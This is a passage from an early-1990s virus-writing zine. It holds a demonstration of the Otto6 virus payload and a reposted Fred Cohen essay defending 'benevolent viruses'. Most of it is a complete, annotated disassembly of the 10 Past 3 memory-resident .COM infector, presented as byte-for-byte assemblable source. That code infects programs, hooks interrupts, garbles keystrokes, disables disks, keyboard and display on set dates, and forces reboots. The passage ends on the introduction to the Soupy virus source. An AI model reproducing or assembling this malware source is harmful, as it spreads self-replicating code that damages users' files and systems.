mov word ptr ds:[0072h],0 ; DS:0072h=0
|
|||
|
|
|||
|
; the above does nothing, as the byte they are looking to modify is
|
|||
|
; the warm-boot status byte, at 0040:0072h... duh...
|
|||
|
|
|||
|
db 0EAh ; JMP FAR PTR
|
|||
|
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
|
|||
|
|
|||
|
file db '*.COM',0 ; search wildcard
|
|||
|
|
|||
|
first3 db 0CDh, 20h, 00h ; buffered 1st 3
|
|||
|
|
|||
|
jump db 0E9h ; jmp near
|
|||
|
fsize2 db 50h, 01h
|
|||
|
|
|||
|
lob db 56h ; lob of fsize+3
|
|||
|
|
|||
|
fsize db 53h, 01h ; filesize
|
|||
|
|
|||
|
heap:
|
|||
|
end start
|
|||
|
===========================================================================
|
|||
|
; Hurredly written stand-alone demonstration of Otto6, By The Attitude
|
|||
|
; Adjuster.
|
|||
|
|
|||
|
; Assemble with:
|
|||
|
; tasm obomb /m2
|
|||
|
; tlink obomb /t
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
start:
|
|||
|
mov ax, 0B0B0h
|
|||
|
int 9
|
|||
|
cmp ax, 0BEEFh
|
|||
|
jz exit
|
|||
|
|
|||
|
mov ax, 3509h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov word ptr [old9+1], bx
|
|||
|
mov word ptr [old9+3], es
|
|||
|
|
|||
|
mov ax, 2509h
|
|||
|
mov dx, offset our9
|
|||
|
int 21h
|
|||
|
|
|||
|
mov dx, offset endofit
|
|||
|
int 27h
|
|||
|
exit:
|
|||
|
int 20h
|
|||
|
|
|||
|
our9: ; our int9 handler
|
|||
|
cmp ax, 0B0Bh
|
|||
|
jnz NotRuThere ; not an ruthere
|
|||
|
mov ax, 0BEEFh
|
|||
|
IRet ; int return
|
|||
|
NotRuThere:
|
|||
|
push ax ; save registers
|
|||
|
push bx
|
|||
|
push ds
|
|||
|
|
|||
|
xor ax,ax ; BIOS segment
|
|||
|
mov ds,ax
|
|||
|
in al,60h ; get keyboard input
|
|||
|
mov bl, byte ptr ds:[0417h] ; get shift status
|
|||
|
test bl,08 ; alt pressed?
|
|||
|
jz removeregistersandleave ; no
|
|||
|
test bl,04 ; ctrl pressed?
|
|||
|
jz whyisthishere ; no
|
|||
|
cmp al, 53h ; delete?
|
|||
|
jnz removeregistersandleave ; nope!
|
|||
|
and bl,0F3h ; mask off bits
|
|||
|
mov byte ptr ds:[0417h],bl ; place in bios
|
|||
|
jmp onwardbuttheads ; go on
|
|||
|
|
|||
|
whyisthishere:
|
|||
|
cmp al,4Ah ; why is this here?
|
|||
|
jne removeregistersandleave
|
|||
|
removeregistersandleave:
|
|||
|
pop ds ; remove registers
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
; jmp returntoold9 ; more wierd
|
|||
|
db 0e9h, 20h, 00 ; encoding!
|
|||
|
|
|||
|
onwardbuttheads:
|
|||
|
push cs ; ds = cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax,3 ; 80x25 text mode
|
|||
|
int 10h
|
|||
|
|
|||
|
mov ah,2 ; set cpos
|
|||
|
mov bh,0
|
|||
|
mov dx,0A14h ; 10,20
|
|||
|
int 10h
|
|||
|
|
|||
|
mov si,offset yamlogo ; point to logo
|
|||
|
pointlessloop:
|
|||
|
loop pointlessloop
|
|||
|
|
|||
|
lodsb ; load string byte
|
|||
|
|
|||
|
cmp al,0 ; end of string?
|
|||
|
je coldbootus ; yes
|
|||
|
|
|||
|
mov ah,0Eh ; display char in al
|
|||
|
int 10h
|
|||
|
|
|||
|
jmp short pointlessloop
|
|||
|
|
|||
|
returntoold9:
|
|||
|
old9 db 0EAh ; JMP FAR PTR
|
|||
|
dd 00000000 ; Int 9h
|
|||
|
|
|||
|
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
|
|||
|
db ' ',0
|
|||
|
|
|||
|
coldbootus:
|
|||
|
mov dx,28h
|
|||
|
mov ds,dx ; DS = 0028h
|
|||
|
mov word ptr ds:[0072h],0 ; DS:0072h=0
|
|||
|
|
|||
|
; the above does nothing, as the byte they are looking to modify is
|
|||
|
; the warm-boot status byte, at 0040:0072h... duh...
|
|||
|
|
|||
|
db 0EAh ; JMP FAR PTR
|
|||
|
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
|
|||
|
|
|||
|
endofit:
|
|||
|
end start
|
|||
|
===========================================================================
|
|||
|
|
|||
|
========================
|
|||
|
Virus Based Products
|
|||
|
By Fred Cohen
|
|||
|
Capture by The Fly
|
|||
|
========================
|
|||
|
|
|||
|
I am surprised that so many well respected Virus-L readers and
|
|||
|
writers failed to understand the implication of creating 1500 viruses per
|
|||
|
day that are not detected by existing scanners. The point is that the
|
|||
|
number or percentqge of viruses detected is not as important as the effect
|
|||
|
of the product.
|
|||
|
|
|||
|
Of the CARO collection of over 1500 viruses, only a small portion
|
|||
|
have ever been found at a substantial number of sites, and many are
|
|||
|
collector-only viruses that have never appeared in the wild.
|
|||
|
|
|||
|
I am quite astounded by the concept that creating viruses in the
|
|||
|
privacy of my home should offend anti-virus types. In fact, I have had
|
|||
|
automated virus generation systems running for several years. At one point,
|
|||
|
I was trying to create ecosystems by randomly generating tens of thousands
|
|||
|
of candidates per day, many of which were successful viruses. Why does
|
|||
|
this offend other researchers? And I take it from some of the comments
|
|||
|
that these researchers have NEVER created a virus of their own to explore
|
|||
|
the concept! It's sad that people who have never tried it feel free to
|
|||
|
condemn it. Or have they done it and simply don't have the integrity to
|
|||
|
admit it?
|
|||
|
|
|||
|
ASP has already introduced one virus-based commercial product
|
|||
|
(which has never been detected as a virus by any scanner) which operates
|
|||
|
quite well, and we are in the process of creating another virus-based
|
|||
|
product designed to operate in LANs. Our users don't seem to be offended
|
|||
|
by the optimization of resource utilization, automated distribution and
|
|||
|
installation, high reliability, and small space used by our products based
|
|||
|
on viruses, but it seems to offend the anti-virus community that all of
|
|||
|
their overblown claims about all viruses being bad are being undercut by
|
|||
|
benevolent viruses that are safe and reliable. In fact, most of our
|
|||
|
viruses work on far more systems than most virus defenses, and they don't
|
|||
|
spread where they are not supposed to go. They are easy to control and
|
|||
|
remove, they are compatable with every DOS based system we have seen to
|
|||
|
date, and they have never generated any unintended side-effects. Kinda
|
|||
|
blows the whole "all viruses are bad" thing, huh!
|
|||
|
|
|||
|
NEW PRODUCT ANOUNCEMENT - BENEVOLENT VIRUSES IN LANS
|
|||
|
AUTOMATE MUCH OF LAN MANAGEMENT - ANTI-VIRUS COMMUNITY
|
|||
|
SHUDDERS - SCANNER PRODUCTS MUST ADAPT TO DIFFERENTIATE
|
|||
|
BETWEEN KNOWN GOOD VIRUSES AND VARIENTS CREATED BY BAD
|
|||
|
VIRUS WRITERS - FOR DETAILS CONTACT ASP
|
|||
|
|
|||
|
P.S. considering the people who agree with my recent postings, I may
|
|||
|
have been wrong - nah - you know you're not saying much when everyone
|
|||
|
agrees with you - the lemmings to the sea thing and all.
|
|||
|
============================
|
|||
|
Disassembly of 10 Past 3
|
|||
|
By The Attitude Adjuster
|
|||
|
============================
|
|||
|
|
|||
|
Well... I was bored, and, I am still relatevly bad at doing
|
|||
|
disassemblies, so, I thought I'd do a seemingly interesting virus, and
|
|||
|
do it well...
|
|||
|
|
|||
|
First, what Patti says...
|
|||
|
|
|||
|
===========================================================================
|
|||
|
Virus Name: 10 Past 3
|
|||
|
Aliases: 748
|
|||
|
V Status: Rare
|
|||
|
Discovery: 1991
|
|||
|
Symptoms: .COM file growth; keyboard keypresses altered; system reboots;
|
|||
|
hardware devices disabled or interference
|
|||
|
Origin: Unknown
|
|||
|
Eff Length: 748 Bytes
|
|||
|
Type Code: PRaCK - Parasitic Resident .COM Infector
|
|||
|
Detection Method: CPAV 1.4+, AVTK 6.0+, F-Prot, IBMAV, Iris, Panda, VNet,
|
|||
|
VBuster 3.93+, ViruScan V99+, Sweep 2.43a+, Trend,
|
|||
|
AllSafe, ViruSafe, NAV 2.1.2+, UTScan 25.10+, Vi-Spy,
|
|||
|
CPAV/N, LProt, NShld V99+, Sweep/N
|
|||
|
Removal Instructions: Delete infected files
|
|||
|
|
|||
|
General Comments:
|
|||
|
The 10 Past 3, or 748, virus was submitted in November, 1992. This
|
|||
|
virus was actually isolated much earlier, in early 1991. 10 Past 3
|
|||
|
is a memory resident infector of .COM programs, including
|
|||
|
COMMAND.COM.
|
|||
|
|
|||
|
The first time a program infected with the 10 Past 3 virus is
|
|||
|
executed, this virus will install itself memory resident in low
|
|||
|
available system memory, hooking interrupts 21 and 6B. Total
|
|||
|
system and available free memory, as measured by the DOS CHKDSK
|
|||
|
program, will not be altered.
|
|||
|
|
|||
|
Once the 10 Past 3 virus is memory resident, it will infect .COM
|
|||
|
programs, including COMMAND.COM, when they are executed. Infected
|
|||
|
programs will have a file length increase of 748 bytes with the
|
|||
|
virus being located at the end of the file. The program's date and
|
|||
|
time in the DOS disk directory listing will not be altered. No
|
|||
|
text strings are visible within the viral code.
|
|||
|
|
|||
|
The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and
|
|||
|
3:15PM) every day, at which time it will cause the "Ctrl" or "Shift"
|
|||
|
keys to be invokes occassionally when the system user enters a
|
|||
|
character on the system keyboard. As a result, the character input
|
|||
|
may not be the same as what the user intended. Additionally, it
|
|||
|
either disables or interfers with the functioning of the following
|
|||
|
devices on the days of any month indicated below:
|
|||
|
|
|||
|
1st day of any month - keyboard
|
|||
|
10th day of any month - system hard disk
|
|||
|
16th day of any month - system monitor/display
|
|||
|
29th day of any month - disk drives
|
|||
|
|
|||
|
On the 22nd day of any month, unexpected system reboots may occur.
|
|||
|
|
|||
|
Known variant(s) of 10 Past 3 are:
|
|||
|
10 Past 3-B: A 789 byte variant of the 10 Past 3 virus, this
|
|||
|
variant adds 789 bytes to the .COM programs it infects,
|
|||
|
including COMMAND.COM. It will occassionally display
|
|||
|
the following text on the system monitor:
|
|||
|
"Therese"
|
|||
|
The text is visible within the viral code in all
|
|||
|
10 Past 3-B infected programs.
|
|||
|
Origin: Republic Of South Africa January, 1993.
|
|||
|
|
|||
|
===========================================================================
|
|||
|
Now, allow me to quote from the woman who can't write...
|
|||
|
|
|||
|
'The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and
|
|||
|
3:15PM) every day, at which time it will cause the "Ctrl" or "Shift"'
|
|||
|
|
|||
|
Sheesh, Patti, grow a little programming knowledge, and maybe learn
|
|||
|
how to read military time!
|
|||
|
|
|||
|
Anyway, here's the code, hope you like it... I found it to be a
|
|||
|
thoroughly boring piece of code, 'cept for a few little things, just angles
|
|||
|
I had yet to look from... As always, this is byte for byte with the sample
|
|||
|
that I worked from... Scans as it, must be it ("Look man, RedX!" Ha!)...
|
|||
|
|
|||
|
===========================================================================
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
|
|||
|
; 10 Past 3, Disassembly done by The Attitude Adjuster for ID Issue 3.
|
|||
|
; All hail the holy XCHG AX,AX!
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
start:
|
|||
|
db 0E9h, 1Dh, 00 ; jmp near intovirus
|
|||
|
db 0B4h, 09h ; mov ah, 9
|
|||
|
int 21h
|
|||
|
int 20h
|
|||
|
nop ; F!#K
|
|||
|
nop ; F!#K
|
|||
|
nop ; F!#K
|
|||
|
nop ; F!#K
|
|||
|
nop ; F!#K
|
|||
|
nop ; F!#K
|
|||
|
nop ; F!#K
|
|||
|
hello db 'Hello world !', 0Dh, 0Ah, '$'
|
|||
|
|
|||
|
intovirus:
|
|||
|
jmp short furtherintovirus
|
|||
|
nop ; F!#K
|
|||
|
saved2:
|
|||
|
db 0Ah, 24h
|
|||
|
jumpnear:
|
|||
|
db 0E9h, 1Dh, 00h
|
|||
|
sizestore:
|
|||
|
db 20h, 00h
|
|||
|
attribs:
|
|||
|
db 20h
|
|||
|
filetime:
|
|||
|
db 42h, 8Fh, 51h, 15h
|
|||
|
what:
|
|||
|
db 01h, 00h
|
|||
|
what2:
|
|||
|
db 00h, 00h
|
|||
|
old24:
|
|||
|
db 56h, 05h,0E1h, 33h
|
|||
|
db 00h
|
|||
|
fileofs:
|
|||
|
db 25h, 01h,0C4h, 34h
|
|||
|
|
|||
|
furtherintovirus:
|
|||
|
mov word ptr ds:[100h], 10BAh ; Replace 1st 3
|
|||
|
buffa2:
|
|||
|
mov byte ptr ds:[102h], 1 ; bytes of COM
|
|||
|
|
|||
|
xor ax,ax ; Interrupt Table
|
|||
|
mov ds,ax
|
|||
|
|
|||
|
cmp word ptr ds:[6Bh*4], 4246h ; check 1st ruthere
|
|||
|
jne installus
|
|||
|
|
|||
|
cmp word ptr ds:[6Bh*4+2], 2206h ; check 2nd ruthere
|
|||
|
je alreadyinstalled
|
|||
|
|
|||
|
installus:
|
|||
|
call installvirusinmemory
|
|||
|
jmp short alreadyinstalled
|
|||
|
nop ; F!#K
|
|||
|
|
|||
|
installvirusinmemory:
|
|||
|
mov word ptr ds:[6Bh*4], 4246h ; set RUTHERE's
|
|||
|
mov word ptr ds:[6Bh*4+2], 2206h
|
|||
|
|
|||
|
push cs ; cs = ds
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax, 3521h ; get int 21h
|
|||
|
int 21h ; vector
|
|||
|
|
|||
|
modme2:
|
|||
|
mov si, offset gobackfromwhenceyoucame ; save int 21h
|
|||
|
mov [si+1], bx ; vector
|
|||
|
mov [si+3], es
|
|||
|
|
|||
|
push es
|
|||
|
push bx
|
|||
|
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax, 256Dh ; int 6dh = int 21h
|
|||
|
int 21h
|
|||
|
|
|||
|
modme1:
|
|||
|
mov si, offset intovirus
|
|||
|
|
|||
|
mov ax, 40h ; bios
|
|||
|
mov ds, ax
|
|||
|
|
|||
|
mov ax, ds:[0013h] ; (0040:0013=280h)
|
|||
|
mov cl, 6
|
|||
|
shl ax, cl ; shift to segment
|
|||
|
sub ax, 800h ; minus 800 paras
|
|||
|
mov es, ax ; in ES
|
|||
|
|
|||
|
xor di, di ; destination 0
|
|||
|
mov cx, endofvirus - intovirus ; ieterations
|
|||
|
|
|||
|
push cs ; cs = ds
|
|||
|
pop ds
|
|||
|
|
|||
|
rep movsb ; copy it
|
|||
|
|
|||
|
mov ax, 2521h ; set int 21h
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov dx, int_21_handler - intovirus
|
|||
|
int 21h
|
|||
|
|
|||
|
mov si, 17h
|
|||
|
mov byte ptr [si], 0
|
|||
|
ret
|
|||
|
|
|||
|
alreadyinstalled:
|
|||
|
call debuggerreboot
|
|||
|
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
|
|||
|
mov ax, offset start
|
|||
|
jmp ax ; advance to go
|
|||
|
|
|||
|
debuggerreboot:
|
|||
|
mov ax, 0F000h ; hi bios
|
|||
|
mov ds, ax
|
|||
|
|
|||
|
mov dx, offset 0FFF0h ; ssi = reboot
|
|||
|
mov ax, 2501h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 2503h ; brkpt = reboot
|
|||
|
int 21h
|
|||
|
ret
|
|||
|
|
|||
|
int_21_handler:
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push di
|
|||
|
push si
|
|||
|
push es
|
|||
|
push ds
|
|||
|
|
|||
|
mov ah, 2Ah ; get date
|
|||
|
int 6Dh
|
|||
|
|
|||
|
cmp cx, 7C7h ; is year 1991
|
|||
|
jb datenogood ; Jump if below
|
|||
|
|
|||
|
cmp dl, 16h ; is date 22nd
|
|||
|
jne onwardguys ; nope
|
|||
|
|
|||
|
db 0eah, 0F0H, 0FFH, 00, 0F0H ; reboot
|
|||
|
|
|||
|
onwardguys:
|
|||
|
mov ah, 25h ; set int vector
|
|||
|
|
|||
|
cmp dl, 1Dh ; is date 29th
|
|||
|
je dateisthe29th
|
|||
|
|
|||
|
cmp dl, 1 ; is date 1st
|
|||
|
je dateisthe1st
|
|||
|
|
|||
|
cmp dl, 0Ah ; is date 10th
|
|||
|
je dateisthe10th
|
|||
|
|
|||
|
cmp dl, 10h ; is date 16th
|
|||
|
je dateisthe16th
|
|||
|
|
|||
|
jmp short datenogood
|
|||
|
|
|||
|
nop ; F!#K
|
|||
|
|
|||
|
dateisthe29th:
|
|||
|
mov al, 13h ; disks
|
|||
|
jmp short setvector
|
|||
|
nop ; F!#K
|
|||
|
|
|||
|
dateisthe1st:
|
|||
|
mov al, 16h ; keyboard
|
|||
|
jmp short setvector
|
|||
|
nop ; F!#K
|
|||
|
|
|||
|
dateisthe10th:
|
|||
|
mov al, 0Dh ; fixed disk
|
|||
|
jmp short setvector
|
|||
|
nop ; F!#K
|
|||
|
|
|||
|
dateisthe16th:
|
|||
|
mov al, 10h ; video
|
|||
|
|
|||
|
setvector:
|
|||
|
push cs ; ds = cs
|
|||
|
pop ds
|
|||
|
mov dx, bigproblems - intovirus
|
|||
|
int 6Dh
|
|||
|
|
|||
|
datenogood:
|
|||
|
mov ax, 40h ; bios
|
|||
|
mov ds, ax
|
|||
|
|
|||
|
mov ax, ds:[006Eh] ; clicks since 12AM
|
|||
|
mov bx, ds:[006Ch]
|
|||
|
|
|||
|
push cs ; ds = cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov si, 0017h ; keyboard status
|
|||
|
mov cl, ds:[si]
|
|||
|
cmp cl, 1 ; only right shift
|
|||
|
je noactivate
|
|||
|
|
|||
|
; this here checks for approximately 3:10 to 3:15 vicinity
|
|||
|
|
|||
|
cmp ax, 0Fh ; timer hi = 0fh
|
|||
|
jne noactivate
|
|||
|
|
|||
|
cmp bx, 2AA8h ; timer lo < 2AA8h
|
|||
|
jb noactivate
|
|||
|
|
|||
|
cmp bx, 3774h ; timer lo > 3774h
|
|||
|
ja noactivate
|
|||
|
|
|||
|
mov byte ptr [si], 1 ; right shift only
|
|||
|
|
|||
|
mov ax, 3509h ; get int 9 vector
|
|||
|
int 21h
|
|||
|
|
|||
|
push es
|
|||
|
push bx
|
|||
|
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax, 256Ah ; int 6ah = int 9
|
|||
|
int 21h
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov dx, int_9_handler - intovirus ; set our int 9
|
|||
|
mov ax, 2509h
|
|||
|
int 21h
|
|||
|
|
|||
|
noactivate:
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop si
|
|||
|
pop di
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
cmp ah, 4Bh ; execute call?
|
|||
|
je yeppersitsanexecute
|
|||
|
|
|||
|
gobackfromwhenceyoucame: ; return to int 21h
|
|||
|
db 0EAh ; jmp far ptr
|
|||
|
db 60h, 14h, 02fh, 02h ; old int 21h vector
|
|||
|
|
|||
|
returntoitall:
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
jmp short gobackfromwhenceyoucame
|
|||
|
|
|||
|
okayreamit:
|
|||
|
mov ax, 2524h ; set int 24h
|
|||
|
mov si, old24 - intovirus
|
|||
|
mov dx, cs:[si]
|
|||
|
mov ds, cs:[si+2]
|
|||
|
int 21h
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov si, filetime - intovirus ; set file time
|
|||
|
mov cx, [si]
|
|||
|
mov dx, [si+2]
|
|||
|
mov ax, 5701h
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3Eh ; close it up
|
|||
|
int 21h
|
|||
|
|
|||
|
mov si, fileofs - intovirus ; load address
|
|||
|
mov dx, cs:[si]
|
|||
|
mov ds, cs:[si+2]
|
|||
|
|
|||
|
mov ax, 4301h ; set attribs back
|
|||
|
mov si, attribs - intovirus
|
|||
|
mov cl, cs:[si]
|
|||
|
xor ch, ch
|
|||
|
int 21h
|
|||
|
|
|||
|
jmp short returntoitall
|
|||
|
|
|||
|
yeppersitsanexecute:
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push ds
|
|||
|
push es
|
|||
|
|
|||
|
mov ax, 4300h ; get attributes
|
|||
|
int 21h
|
|||
|
jc okayreamit ; bad file?
|
|||
|
|
|||
|
mov si, attribs - intovirus ; save attribs
|
|||
|
mov cs:[si], cl
|
|||
|
|
|||
|
mov si, fileofs - intovirus ; save file address
|
|||
|
mov cs:[si], dx
|
|||
|
mov cs:[si+2], ds
|
|||
|
|
|||
|
mov ax, 3524h ; get int 24h vector
|
|||
|
int 21h
|
|||
|
|
|||
|
mov si, old24 - intovirus ; save int 24h
|
|||
|
mov cs:[si], bx
|
|||
|
mov cs:[si+2], es
|
|||
|
|
|||
|
mov ax, 2524h ; set int 24h
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx, bigproblems - intovirus
|
|||
|
int 21h
|
|||
|
|
|||
|
mov si, fileofs - intovirus ; reload file addr
|
|||
|
mov dx, cs:[si]
|
|||
|
mov ds, cs:[si+2]
|
|||
|
|
|||
|
mov ax, 4301h ; set attributes
|
|||
|
mov cx, 20h ; archive
|
|||
|
int 21h
|
|||
|
jc allpurposeerror ; catch criticals
|
|||
|
|
|||
|
mov ax, 3D02h ; open for write
|
|||
|
int 21h
|
|||
|
jc allpurposeerror ; more error checks
|
|||
|
|
|||
|
mov bx, ax ; F!#K
|
|||
|
|
|||
|
mov ax, 5700h ; get file time
|
|||
|
int 21h
|
|||
|
jc allpurposeerror ; more error checks!
|
|||
|
|
|||
|
mov si, filetime - intovirus ; save file time
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov [si], cx
|
|||
|
mov [si+2], dx
|
|||
|
|
|||
|
mov ah, 3Fh ; read 2 bytes into
|
|||
|
mov cx, 2
|
|||
|
mov dx, (furtherintovirus + 4) - intovirus ; buffer
|
|||
|
int 21h
|
|||
|
jc allpurposeerror ; damn these checks!
|
|||
|
|
|||
|
mov si, (buffa2 - 2) - intovirus
|
|||
|
cmp word ptr [si], 5A4Dh ; misnamed exe ?!?
|
|||
|
je allpurposeerror ; fuckin' checks
|
|||
|
|
|||
|
mov ah, 3Fh ; read 1 byte into
|
|||
|
mov cx, 1
|
|||
|
mov dx, (furtherintovirus + 10) - intovirus ; buffer
|
|||
|
int 21h
|
|||
|
jc allpurposeerror ; !!!
|
|||
|
|
|||
|
mov ax, 4202h ; LSeek end
|
|||
|
xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
int 21h
|
|||
|
jc allpurposeerror ; AARRRGGGHHH!!!
|
|||
|
|
|||
|
cmp dx, 0 ; if size > 65535
|
|||
|
jg allpurposeerror
|
|||
|
|
|||
|
cmp ax, 4 ; if size < 4
|
|||
|
jb allpurposeerror
|
|||
|
|
|||
|
cmp ax, 0FBF0h ; if size > 64496
|
|||
|
ja allpurposeerror
|
|||
|
|
|||
|
mov si, sizestore - intovirus ; save size
|
|||
|
mov [si], ax
|
|||
|
|
|||
|
mov cx, ax ; size in cx
|
|||
|
|
|||
|
sub ax, 3 ; mod for jmp near
|
|||
|
|
|||
|
mov si, (jumpnear + 1) - intovirus ; save size - 3
|
|||
|
mov [si], ax
|
|||
|
|
|||
|
add cx, 100h ; size + 100h
|
|||
|
mov si, (modme1 + 1) - intovirus
|
|||
|
mov [si], cx ; modify first delta
|
|||
|
|
|||
|
add cx, 151h ; size + 251h
|
|||
|
|
|||
|
mov si, (modme2 + 1) - intovirus
|
|||
|
mov [si], cx ; modify 2nd delta
|
|||
|
|
|||
|
jmp short continueinfect
|
|||
|
nop ; F!#K
|
|||
|
allpurposeerror:
|
|||
|
jmp okayreamit
|
|||
|
|
|||
|
continueinfect:
|
|||
|
mov ax, 4200h ; LSeek from start
|
|||
|
xor cx, cx ; Size - 2
|
|||
|
mov si, sizestore - intovirus
|
|||
|
mov dx, [si]
|
|||
|
sub dx, 2
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3Fh ; read 2 bytes
|
|||
|
mov cx, 2
|
|||
|
mov dx, saved2 - intovirus
|
|||
|
int 21h
|
|||
|
|
|||
|
mov si, saved2 - intovirus ; load saved 2
|
|||
|
mov ax, [si]
|
|||
|
|
|||
|
cmp ax, 2206h ; infected?
|
|||
|
je allpurposeerror
|
|||
|
|
|||
|
mov ax, 4200h ; LSeek start
|
|||
|
xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 40h ; write jmp near
|
|||
|
mov cx, 3
|
|||
|
mov dx, jumpnear - intovirus
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4202h ; LSeek end
|
|||
|
xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov si, what - intovirus ; inc counter
|
|||
|
inc word ptr [si]
|
|||
|
|
|||
|
mov si, what2 - intovirus
|
|||
|
push word ptr [si]
|
|||
|
mov word ptr [si], 0
|
|||
|
|
|||
|
mov ah, 40h ; write file
|
|||
|
mov dx, intovirus - intovirus ; duh!
|
|||
|
mov cx, endofvirus - intovirus
|
|||
|
int 21h
|
|||
|
|
|||
|
mov si, what - intovirus ; dec counter
|
|||
|
dec word ptr [si]
|
|||
|
|
|||
|
pop ax ; pop off other valu
|
|||
|
inc ax
|
|||
|
|
|||
|
mov si, what2 - intovirus ; save other valu
|
|||
|
mov [si], ax
|
|||
|
jmp okayreamit
|
|||
|
|
|||
|
bigproblems:
|
|||
|
xor al,al ; a little xtreme?!?
|
|||
|
iret
|
|||
|
|
|||
|
int_9_handler:
|
|||
|
push ax
|
|||
|
push ds
|
|||
|
|
|||
|
mov ax, 0040h ; bios
|
|||
|
mov ds, ax
|
|||
|
|
|||
|
mov ah, byte ptr ds:[006ch] ; clicks afta 12 AM
|
|||
|
cmp ah, 17h ; past time?
|
|||
|
ja itsallover
|
|||
|
|
|||
|
and ah, 6
|
|||
|
or ds:[0017h], ah ; fuck that flag!!!
|
|||
|
|
|||
|
itsallover:
|
|||
|
pop ds
|
|||
|
pop ax
|
|||
|
int 6ah
|
|||
|
iret
|
|||
|
|
|||
|
db 06h, '"'
|
|||
|
endofvirus:
|
|||
|
end start
|
|||
|
===========================================================================
|
|||
|
|
|||
|
I saw no need to write a stand-alone demonstration for this rather
|
|||
|
unflattering virus, as it displays nothing, and only disables device
|
|||
|
access and fucks with the keyboard...
|
|||
|
======================
|
|||
|
Soupy Virus Source
|
|||
|
By The Attitude Adjuster
|
|||
|
and
|
|||
|
AccuPunk
|
|||
|
======================
|
|||
|
|
|||
|
With the release of this virus marks the absolute end for all
|
|||
|
boring direct-action COM infectors from Virulent Graffiti... if some pop
|
|||
|
up in the future, bearing our name, and do not have revolutionary or
|
|||
|
funny activation stages, they are NOT from us...
|
|||
|
|
|||
|
Anyway, I am at a loss as to why I should use anything but the DOC
|
|||
|
I wrote for this, but, here's what Patti says, and what I say, you compare
|
|||
|
and contrast who does it better!
|
|||
|
|
|||
|
==========================================================================
|
|||
|
Virus Name: Soupy
|
|||
|
Aliases:
|
|||
|
V Status: New
|
|||
|
Discovered: January, 1993
|
|||
|
Symptoms: .COM file growth; TSR; message; system hangs
|
|||
|
Origin: United States
|
|||
|
Eff Length: 1,072 Bytes
|
|||
|
Type Code: PRC - Parasitic Resident .COM Infector
|
|||
|
Detection Method: Novi 1.15a+, CPAV/N
|
|||
|
Removal Instructions: Delete infected files
|
|||
|
|
|||
|
General Comments:
|
|||
|
The Soupy virus was submitted in January, 1993, and is from the
|
|||
|
United States. Soupy is a non-resident, direct action infector
|
|||
|
of .COM programs, but not COMMAND.COM. In the case of advanced
|
|||
|
infections, it may install a portion of itself memory resident in
|
|||
|
order to facilitate the activation mechanism in the virus.
|
|||
|
|
|||
|
When a program infected with the Soupy virus is executed, the
|
|||
|
Soupy virus will infect one .COM file located in the current
|
|||
|
directory, as well as update a counter within the viral code.
|
|||
|
Programs infected with the Soupy virus will have a file length
|
|||
|
increase of 1,072 bytes with the virus being located at the end
|
|||
|
of the file. The program's date and time in the DOS disk directory
|
|||
|
listing will not be altered.
|
|||
|
|
|||
|
The Soupy virus activates once the counter within the viral code
|
|||
|
has reached 11, indicating the 11th generation of the virus has
|
|||
|
been reached. At this time, the virus will install a portion of
|
|||
|
itself in memory of 736 bytes, hooking interrupt 08. Once the
|
|||
|
memory resident portion of the virus has been installed, it will
|
|||
|
display the following messages one at a time every three minutes:
|
|||
|
|
|||
|
"Unsuspecting user, 12 o'clock!"
|
|||
|
"Get ready... 'cause... THERE'S A VIRUS IN YOUR SOUP!"
|
|||
|
"From the guys that brought you Lythyum, Radyum, and
|
|||
|
VioLite comes:"
|
|||
|
"The Soupy Virus, (k) 1992 VG Enterprises,
|
|||
|
216/513/602/904/703"
|
|||
|
"By The Attitude Adjuster & AccuPunk!"
|
|||
|
"Hurry! Hire an Anti-Virus Professional!
|
|||
|
Increase Wallet Space!"
|
|||
|
"...hmmm, ya' know, I think I''ll halt now..."
|
|||
|
|
|||
|
Once the last message above is displayed, the system will be
|
|||
|
halted or hung. The above messages are encrypted within the
|
|||
|
Soupy viral code, as are the following additional text strings:
|
|||
|
|
|||
|
"[Soupy] The Attitude Adjuster & AccuPunk,
|
|||
|
VG 08/23/92 to 12/02/92"
|
|||
|
"*.COM"
|
|||
|
"Bad command or file name"
|
